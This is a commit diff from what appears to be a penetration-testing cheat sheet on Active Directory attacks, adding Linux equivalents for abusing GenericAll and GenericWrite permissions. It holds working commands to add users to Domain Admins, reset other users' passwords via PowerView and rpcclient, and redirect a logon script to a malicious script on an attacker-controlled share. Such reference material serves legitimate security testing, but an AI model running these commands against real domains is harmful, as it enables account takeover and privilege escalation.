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Code Issues Releases Activity

Add Linux alternatives for GenericWrite abuse

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CravateRouge 2021-09-30 22:17:20 +02:00 committed by GitHub
parent df7172dca1
commit 1cdd284f5b
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GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 18 additions and 11 deletions
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Methodology and Resources/Active Directory Attack.md
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@ -2089,7 +2089,9 @@ ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtr
#### GenericAll
* **GenericAll on User** : We can reset user's password without knowing the current password
* **GenericAll on Group** : Effectively, this allows us to add ourselves (the user spotless) to the Domain Admin group : `net group "domain admins" spotless /add /domain`
* **GenericAll on Group** : Effectively, this allows us to add ourselves (the user spotless) to the Domain Admin group :
* On Windows : `net group "domain admins" spotless /add /domain`
* On Linux using the Samba software suite : `net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'AttackerUser%MyPassword' -W DOMAIN -I [DC IP]`
* **GenericAll/GenericWrite** : We can set a **SPN** on a target account, request a TGS, then grab its hash and kerberoast it.
```powershell
@ -2132,15 +2134,20 @@ ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtr
#### GenericWrite
* Reset another user's password
```powershell
# https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1
$user = 'DOMAIN\user1';
$pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force;
$creds = New-Object System.Management.Automation.PSCredential $user, $pass;
$newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force;
Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds;
```
* On Windows:
```powershell
# https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1
$user = 'DOMAIN\user1';
$pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force;
$creds = New-Object System.Management.Automation.PSCredential $user, $pass;
$newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force;
Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds;
```
* On Linux:
```bash
# Using rpcclient from the Samba software suite
rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd"
```
* WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script : `Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1`
@ -3090,4 +3097,4 @@ CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae
* [Certified Pre-Owned Abusing Active Directory Certificate Services - @harmj0y @tifkin_](https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Certified-Pre-Owned-Abusing-Active-Directory-Certificate-Services.pdf)
* [Certified Pre-Owned - Will Schroeder - Jun 17 2021](https://posts.specterops.io/certified-pre-owned-d95910965cd2)
* [AD CS/PKI template exploit via PetitPotam and NTLMRelayx, from 0 to DomainAdmin in 4 steps by frank | Jul 23, 2021](https://www.bussink.net/ad-cs-exploit-via-petitpotam-from-0-to-domain-domain/)
* [NTLMv1_Downgrade.md - S3cur3Th1sSh1t - 09/07/2021](https://gist.github.com/S3cur3Th1sSh1t/0c017018c2000b1d5eddf2d6a194b7bb)
* [NTLMv1_Downgrade.md - S3cur3Th1sSh1t - 09/07/2021](https://gist.github.com/S3cur3Th1sSh1t/0c017018c2000b1d5eddf2d6a194b7bb)